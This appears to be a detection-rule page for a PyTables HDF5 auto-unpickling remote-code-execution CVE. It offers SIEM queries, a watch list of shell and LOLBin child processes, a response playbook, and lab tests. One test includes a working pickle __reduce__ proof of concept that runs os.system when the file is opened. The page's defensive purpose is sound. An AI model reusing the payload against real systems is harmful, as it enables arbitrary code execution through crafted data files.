Skip to content
CVE-2026-134019

PyTables Remote Code Execution via Auto-Unpickled HDF5 Attributes (CVE-2026-134019)

Initial Access Execution Last updated:

Detects exploitation of CVE-2026-134019, a critical (CVSS 9.8) insecure-deserialization flaw (CWE-502) in the PyTables Python library (`tables` on PyPI) at versions <= 3.11.1. PyTables automatically unpickles certain HDF5 node/leaf attributes when a file is opened, so a maliciously crafted `.h5`/`.hdf5` file can execute arbitrary code (via `pickle.loads` / `__reduce__`) the moment an application reads it with `tables.open_file()`. Because exploitation occurs in-process at file-open time, detection focuses on Python processes loading the `tables` module while opening untrusted HDF5 files, pickle-reduce driven child process spawns descending from Python, and the arrival of HDF5 files from untrusted sources. No fixed version is available as of disclosure. Mitigate by opening untrusted files with `allow_pickle=False` or setting `tables.parameters.ALLOW_PICKLE = False` to disable auto-unpickling of attributes.

Vulnerability Intelligence

Public PoC

What is CVE-2026-134019 PyTables Remote Code Execution via Auto-Unpickled HDF5 Attributes (CVE-2026-134019)?

PyTables Remote Code Execution via Auto-Unpickled HDF5 Attributes (CVE-2026-134019) (CVE-2026-134019) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for PyTables Remote Code Execution via Auto-Unpickled HDF5 Attributes (CVE-2026-134019), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, DeviceProcessEvents. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence
// Python process invoking PyTables that spawns a suspicious child (pickle __reduce__ RCE)
let suspiciousChildren = dynamic(["cmd.exe","powershell.exe","pwsh.exe","bash.exe","wscript.exe","cscript.exe","curl.exe","certutil.exe","rundll32.exe","mshta.exe"]);
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("python.exe","python3.exe","pythonw.exe")
| where InitiatingProcessCommandLine has_any ("tables", ".h5", ".hdf5", "open_file")
| where FileName in~ (suspiciousChildren)
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, FolderPath
| order by Timestamp desc

Flags Python processes referencing PyTables/HDF5 that spawn shell or LOLBin child processes, consistent with pickle __reduce__ code execution during tables.open_file().

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint DeviceProcessEvents

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate data-science pipelines where Python scripts using PyTables intentionally shell out to downstream tools
  • Jupyter/notebook kernels launching subprocesses for conversion or plotting tasks
  • CI/CD jobs that read HDF5 datasets and then invoke command-line utilities

Query fingerprint DF00-63b52b508d · licence

Sigma logsource & community rules

The detection logic for PyTables Remote Code Execution via Auto-Unpickled HDF5 Attributes (CVE-2026-134019) (CVE-2026-134019) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Craft malicious HDF5 file with pickle __reduce__ payload (lab)

    Expected signal: File-creation event for /tmp/malicious.h5 from a python3 process.

  2. Test 2 Trigger RCE by opening malicious HDF5 with vulnerable PyTables (lab)

    Expected signal: python3 parent process (command line referencing the .h5 file and tables) spawns a shell/`id` child process and creates /tmp/pytables_poc.txt.

  3. Test 3 Simulate untrusted HDF5 ingestion and open (lab)

    Expected signal: python3 process opening /tmp/uploads/incoming.hdf5 from an ingestion directory, followed by child-process spawn if payload present.


Response Playbook

Triage

  1. Confirm the installed `tables` (PyTables) version on the host with `pip show tables` or `python -c "import tables; print(tables.__version__)"`; any version <= 3.11.1 is vulnerable.
  2. Identify the HDF5 file (`.h5`/`.hdf5`) that was opened by the alerting Python process and determine its source (upload, email, shared drive, external download) and whether it is from an untrusted party.
  3. Review the full process tree: confirm the parent Python process loaded `tables` and that the suspicious child process (shell, LOLBin, downloader) was spawned synchronously with the file-open event.
  4. Check whether the application or service routinely opens user-supplied HDF5 files, which greatly raises exploitation likelihood.

Containment

  1. Isolate the affected host from the network to prevent follow-on command execution and lateral movement.
  2. Quarantine the suspected malicious HDF5 file and prevent further processing by the affected application/service.
  3. No fixed version is available. Disable auto-unpickling by opening files with `allow_pickle=False` or setting `tables.parameters.ALLOW_PICKLE = False`, restart the affected Python services, and refuse HDF5 files from untrusted sources.

Evidence Collection

  1. Preserve the malicious HDF5 file and compute its hash for analysis of embedded pickle payloads (inspect attribute values for `__reduce__`/`c__builtin__` opcodes).
  2. Collect process-creation telemetry (Sysmon/EDR) for the Python parent and all descendant processes, including command lines and network connections.
  3. Capture the Python application logs, working directory contents, and any dropped files or scheduled tasks created by the child process.

Escalation Criteria

  • ! Escalate to incident response if a child process executed network, encoding, or persistence commands, indicating successful code execution.
  • ! Escalate if the HDF5 file originated from an external or untrusted source and the host processes multi-tenant or internet-facing uploads.
  • ! Escalate if evidence of lateral movement, credential access, or data exfiltration is found downstream of the Python process.

Investigation Guide

Forensic Artifacts

  • > The malicious `.h5`/`.hdf5` file and its HDF5 attribute blobs containing serialized pickle payloads
  • > Process-creation records linking the Python/PyTables parent to anomalous child processes
  • > Any files, scheduled tasks, or persistence artifacts dropped by the spawned child process

Tuning Guidance

Build an allowlist of known data-science hosts and service accounts that legitimately run PyTables, and of the external tools those pipelines spawn, then suppress those parent/child pairs. Tighten the child-process list to high-signal shells and LOLBins in your environment. Where feasible, correlate with the source of the HDF5 file (download/upload events) to prioritize files from untrusted origins, since benign pipelines typically read internal, trusted datasets.


Hunting Queries

Baselines Python processes opening HDF5 files so analysts can spot hosts newly processing untrusted HDF5 input or spawning unexpected children.

Hunting — KQL
kql
// df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("python.exe","python3.exe","pythonw.exe") | where InitiatingProcessCommandLine has_any (".h5",".hdf5","open_file","tables") | summarize count() by DeviceName, InitiatingProcessAccountName, bin(Timestamp, 1h)
Hunting — SPL
spl
``` df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence ```
index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 (parent_process_name=python* OR process_name=python*) (CommandLine="*.h5*" OR CommandLine="*.hdf5*" OR CommandLine="*open_file*") | stats count by host, user, CommandLine

Atomic Red Team Tests

Test 1 Craft malicious HDF5 file with pickle __reduce__ payload (lab)
linux

Builds an HDF5 file whose node attribute contains a pickled object that executes a command on auto-unpickle, simulating the CVE-2026-134019 payload.

Command

bash
python3 - <<'PY'
import pickle, h5py
class E:
    def __reduce__(self):
        import os
        return (os.system, ('id > /tmp/pytables_poc.txt',))
with h5py.File('/tmp/malicious.h5','w') as f:
    f.attrs['payload'] = pickle.dumps(E())
print('wrote /tmp/malicious.h5')
PY

Cleanup

bash
rm -f /tmp/malicious.h5 /tmp/pytables_poc.txt

Expected Telemetry

File-creation event for /tmp/malicious.h5 from a python3 process.

Expected Detection

No child-process detection yet (file only created); establishes the payload for the open test.

Test 2 Trigger RCE by opening malicious HDF5 with vulnerable PyTables (lab)
linux

Opens the crafted HDF5 file with a vulnerable PyTables version so the auto-unpickled attribute executes the embedded command, spawning a child process.

Command

bash
python3 -c "import tables; f=tables.open_file('/tmp/malicious.h5'); print([n for n in f.walk_nodes()]); f.close()"

Cleanup

bash
rm -f /tmp/pytables_poc.txt

Expected Telemetry

python3 parent process (command line referencing the .h5 file and tables) spawns a shell/`id` child process and creates /tmp/pytables_poc.txt.

Expected Detection

KQL/SPL/EQL rules fire on the Python/PyTables parent spawning a shell child process.

Test 3 Simulate untrusted HDF5 ingestion and open (lab)
linux

Downloads an HDF5 file to a staging directory and opens it with PyTables, emulating an application that processes externally supplied HDF5 input.

Command

bash
mkdir -p /tmp/uploads && cp /tmp/malicious.h5 /tmp/uploads/incoming.hdf5 && python3 -c "import tables; f=tables.open_file('/tmp/uploads/incoming.hdf5'); f.close()"

Cleanup

bash
rm -rf /tmp/uploads

Expected Telemetry

python3 process opening /tmp/uploads/incoming.hdf5 from an ingestion directory, followed by child-process spawn if payload present.

Expected Detection

Hunting queries surface Python opening HDF5 from an upload/staging path; child-spawn rules fire on execution.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections